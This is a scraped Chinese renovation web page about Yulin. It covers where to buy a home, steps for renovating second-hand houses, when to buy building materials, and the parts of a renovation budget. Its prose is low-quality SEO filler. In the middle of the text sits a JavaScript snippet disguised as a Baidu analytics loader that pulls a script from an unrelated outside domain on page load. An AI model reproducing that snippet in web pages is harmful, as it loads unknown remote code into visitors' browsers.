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杜芳馨

目前在玉林购房最好在什么地方?

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柠檬 有用 1

口碑最好就是东方巴黎水岸项目,还在市中心附近,就是偏贵。品牌最大就碧桂园,不过花几十万离开市区进村里住,确实要考虑一下。至于其他楼盘嘛,优点都不太突出,各有各的小卖点而已,综合实力都不强的,反正身边的人都是这么说的

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专题 玉林二手房怎么装  装修都有哪些步骤?

玉林二手房怎么装 装修都有哪些步骤?

玉林二手房装修和新房装修步骤有些地方会产生不同,那么因为二手房子的实际情况都不同,所以在装修的时候会发生的问题也都不一样,这就决定了一些二手房的实际情况,才能导致一个房子的详细的家居装修不错,那么下面就来看一看玉林二手房装修都有什么步骤吧。和新房中不一样的是一般玉林二手房装修需要先验证工作,那么这问题就来了,这在修房子的时候工作是非常重要的,因为每个老房子的情况都不一样,那么在装修过程中会发生的问题也都不一样。玉林二手房到验收的时候可以把其中的一些瑕疵以及问题查清楚并对此进行处理,这样可以有效的避免对二手房的装修过程中产生一些时间和经历基础上的浪费。验收之后就是要规划二手房的设计方案,因为一套漂亮的装修设计图可以能让一个破旧的玉林二手房焕发出新的光彩,这也会让在对二手房改造装修的过程中更加省力,方便快捷。那么如果说玉林二手房的客户不需要对他们的房子的墙体进行修改的话,那么就不用做主体拆改这一步骤,但是对于很多老的二手房来说,进行土地改造确是一个非常重要的装修步骤,对玉林二手房的主体改造要注意需要避开一些能承重的墙漆,而且要对布局中更加注重良好的空气流动性以及自然光线的照射。很多二手房来说他们说安装的水路电路这些工程都十分破旧,因此在进行主体墙体改,拆了后的房子最好要重新的做一遍水电工程。最后一个步骤就是基本上和新的房子进行家居装修的步骤相一致了,比如说的玉林二手房的外表进行一些整改,例如修补墙体重新上漆以及对地面贴瓷砖或者是卫生间以及厨房这些用水比较多的地方的防水处理。以上就是对于玉林二手房装修步骤的一些简单介绍,希望对玉林二手房改造有所帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

在玉林装修如何选购建材?

在玉林装修如何选购建材?

现在业主装修有很多装修问题,例如:装修如何选购建材?所以这个时候我们玉林装修网的小编就出现了,小编就是专门为了解决各位业主的各种问题而来的,希望小编接下来说的这些东西能帮助到你哦。家装建材归纳分类大致有如下几种:电线(强电线、弱电线);给水管道(冷水管、热水管);木材(木方材、木板材);瓷砖(墙砖、地砖;外墙砖、内墙砖);油漆、涂料;家电(灶具、灯饰、智能设备、空调等);部品设备(厨房、卫生间器具);紧固件材料(化学黏结剂、五金紧固件);装饰五金配件、玻璃、镜面等。一、家装前期开工前可购买1、地热采暖:由于地热采暖需要四至五天的工期,而在地热采暖施工时,装修工程无法进行,因此,建议对地热采暖产品比较了解的业主可在家装之前就将地热采暖施工完毕,这样可节省时间。2、中央空调:开工之前最好能先定下。3、橱柜:主要是功能分区的设计,初步需要在水电改造之前定下橱柜厂家,让厂家来进行初步测量,确定橱柜的位置、使用方式以及电器和水电路的位置。等贴完砖后,橱柜厂家进行第二次测量,这时再与设计师沟通,确定橱柜颜色款式及各种方式。推荐购买时间:水电改造开工前。4、暖气:如果房间结构或者面积发生变化,则所需的暖气片数量也会相应发生变化,所以前期定制暖气易与整个房间需求不符。推荐购买时间:设计方案确定之后。二、家装中期与装修施工同步购买1、瓷砖:应该结合房屋的整体规划购买。如果确定房屋的户型结构不会改变,可以提前预订瓷砖,甚至可以具体到瓷砖型号。但如果后期发生结构改造,瓷砖很有可能因为房屋面积的改变而不能使用。如一间3.6平方米的房间,业主自己订了600×600的砖,倘若后期设计师对空间进行改造,房间面积变成了4平方米,那使用800×800的砖更恰当。在这种情况下,业主需要更换瓷砖。推荐购买时间:结构改造方案确定后。2、洁具:据阔达装饰资深设计师耿保印介绍,坐便器、手盆、木柜的长度宽度都需要依据卫生间的空间实际比例来定。虽然业主可以自己测量得知坑距、长宽等具体数据,但很多业主往往只考虑到木柜的长度而忽视了宽度。例如,木柜大多放在卫生间进门处,很多业主忽视了门套线会占用一定的宽度,如果木柜宽度与进门处宽度一致,包完门套后无法安装木柜,需要退换货。坐便器的长度也易与淋浴区位置发生冲突,没有经验的业主最好不要贸然去定制产品,否则即使尺寸上可以安装,也有可能导致卫生间内洁具摆放比例失调,达不到完美的装饰效果。推荐购买时间:家具平面布置图出台后。3、地板:一般业主只考虑地板的耐磨度等指标,很少考虑厚度问题。如果不同房间内有铺砖也有铺地板的情况,由于砖通常较厚,如果地板厚度不够,很容易造成整个空间过渡时高度不一,地面不平,给生活带来不便。虽然可以通过地面找平或者加龙骨的方式使地面保持在同一个高度,但增加了工序既费钱又误时。推荐购买时间:贴砖以后。4、铝扣板:建议购买集成吊顶,整个风格统一而且比较安全。具体款式和颜色需等贴完墙砖后再听设计师建议。5、壁柜门:壁柜都是厂家定做,可提前做,但是壁柜门与地面平整程度相关,如果没考虑地面高度,壁柜门很有可能无法安装。即使知道地板的厚度,由于整个房间的地面要在一个水平面上,可能地面还需找平,高度无法确定,因此不能贸然定制。推荐购买时间:等地面找平做完以后再测量所需壁柜门的尺寸。6、门:各个厂家生产的门的尺寸不同,因此需要让厂家先行测量,告诉施工工人应将洞口扩大或者缩小至固定尺寸,厂家二次测量之后再确定门的款式颜色等。推荐购买时间:结构改造方案出台后。三、家装后期结合整体风格购买1、五金锁具:一般门的厂家都有配套锁具,有些业主为了节省会选择自己配制锁具,由于锁具也是整个装饰工程的一部分,其质地与表面配套直接相关,建议业主直接购买配套锁具,如果要单买也需到后期,整体风格确定后,与设计师沟通锁具的颜色款式。2、开关面板:开关面板也是装饰的一部分,现在的开关面板风格多样,需要等整个装修完成后,考虑整体风格再购买,有利于整个风格的协调统一。3、窗帘、壁纸:窗帘和壁纸属于装饰部分,在整个装修过程中,设计方案可能有变,或者设计师有新的灵感,装完之后才有整个的感觉,因此完工之后购买最适宜。4、楼梯:对于别墅而言,如果各楼的风格不同,则需要设计师依据整体风格来与厂家研究定制。5、家具:后期依据家装风格与设计师一起选购。今天的问题就到这里了,如果你还有更多不明白的问题欢迎随时咨询玉林装修网的小编。

玉林新房装修预算单由哪些东西组成?

玉林新房装修预算单由哪些东西组成?

对于玉林业主来说,好不容易买了新房,当然要好好装修一番了,在装修之前,玉林新房装修预算这件事还是要弄清楚的,新房装修预算单由哪些东西组成?接下来,玉林装修网的小编就来和你好好的讲一讲这些问题的答案吧。正规玉林新房装修预算单由哪些东西组成?正规的预算单,大致上分为两个大的部分。第一部分是抬头,然后才是预算书项目的分类。新房装修预算清单一览第一部分:抬头需要有公司名称、联系电话、联系地址、客户名称、联系电话、施工地址、设计师、预算日期和版本、房型结构。这些是客户和装修公司的基本资料,可以基本看出一个装修公司对预算的重视程度和正规程度。第二部分:预算书项目分类一般是这样:序号---项目名称---单位---数量---主材单价---辅料单价---人工单价---合计---品牌规格及工艺---备注1、序号/项目名称:可以看出家中有多少项目需要施工,结合图纸可以看出哪里有缺项和漏项2、单位:可以知道装修公司是以什么方式计价格,有了这个项目,可以知道装璜公司在做预算时是否有猫腻。比如有些装潢公司喜欢用笼统的计价单位糊弄消费者,这是装潢公司常用的预算陷阱。3、数量:是计算出总工程量的一个数据,可以通过这个数据来核实装修公司是多算数量还是少算数量。对装潢公司给出的数量有疑问的话,可以实地测量家装监理。4、主材单价:主材是装修工程中采购金额最大的一个项目,其准确性直接影响到装修的总支出,一定要认真核实。业主应在装修前可以先去建材市场对一些主要材料的价格和型号做个大致了解,这样在看预算就会方便很多。5、辅料单价:辅料是半包的装修公司赢利的主要内容,关系到他能赚多少钱,因此在跑完主料价格后,这个辅料就是要和装修公司详谈的内容,也许是整个预算里谈判最重要的一个项目了。6、人工单价:一定要有这个项目,牵涉到以后的结算,尤其对清包的人来说。因为就一个总价格,以后如果施工数量出现问题,如何计算就成了麻烦。同时,人工单价有时也可以看出活的质量。7、品牌规格及工艺:这个项目主要是写主材料或者辅料的品牌、型号及部分施工工艺,例:装修公司会在乳胶漆里的这个项目上写一底两面,如果你要求一底三面,那么就加钱;反之亦然。8、备注:对于一些其他具体约定的明确标示,特别是半包情况下,哪些是业主提供,哪些需装潢公司购买,可以在这里标示出。需要消费者注意的是,不要单纯以价格来选择家装企业。因为到目前为止仍然存在着装修公司利用消费者的不懂行,在报价上玩儿“花活儿”的现象。玉林新房装修预算清单1、辅助材料新房的装修一般基础的装修预算,都是由装修公司给出的报价。如果说房子面积在100平米以内的话,那么居室的报价一般是在1-2万之间,如果是大一点的装修公司,那么报价则会高一些。2、水电改造新房中的水电改造也是一个大问题,这是关系到以后生活水平的质量。而费用大概也就是在3000-4000元左右,但是这个主要还是要根据业主怎么来规划水路电费了,总之多预算一点总是有好处的。3、主材价格新房装修的主材一般有地板砖、油漆、门、橱柜以及一些卫生间的用品等。这其中的地板砖预算一般在8000左右,当然也要根据你选择什么样的品牌来做决定。油漆纯色的至少也在2000元以上,门的预算大概在6000-8000元之间,橱柜保守的在15000元、卫浴大概在4000左右。还有一些灯具、窗帘、五金等等的费用,这些主材的选购价格是很大的。4、家具预算在新房的装修中,家具也是一个主流,它的费用也不是一般的少,尤其是一些比较高档的实木家具。如果你想要节约成本的话,那么则可以选择一些板材家具,那么价格会适当实惠一些。不过加上床、衣柜、电视柜、沙发、餐桌椅子、鞋柜、等家具,保守估算价格也得要3-4万左右。5、家电预算家电是生活中必备的用品,主要的家电有空调、洗衣机、电热水器、冰箱、电视、电脑、饮水机等,如果说是按照一般品牌来购买的话,估算价格在1-2万左右。实际情况也得根据业主的个人爱好选择以及经济实力来决定的了。总体来说的话,新房的预算还是要合理的把控,主要得根据实际运用来做最后的打算。那么上面这些总体费用加起来怎么也得用上十几万,当然这个也只是一些估算。对于一些初次装修的人来说,只能是在实际中摸索经验,整体费用还得合理安排。最后实际发生的施工款额通常不是预算单的这个数,可能会增加,也可能会有所减少,因此业主要注意这个问题。关于玉林新房装修预算的问题小编就先讲到这里了,如果你还想知道更多精彩内容请继续关注我们玉林装修网哦。

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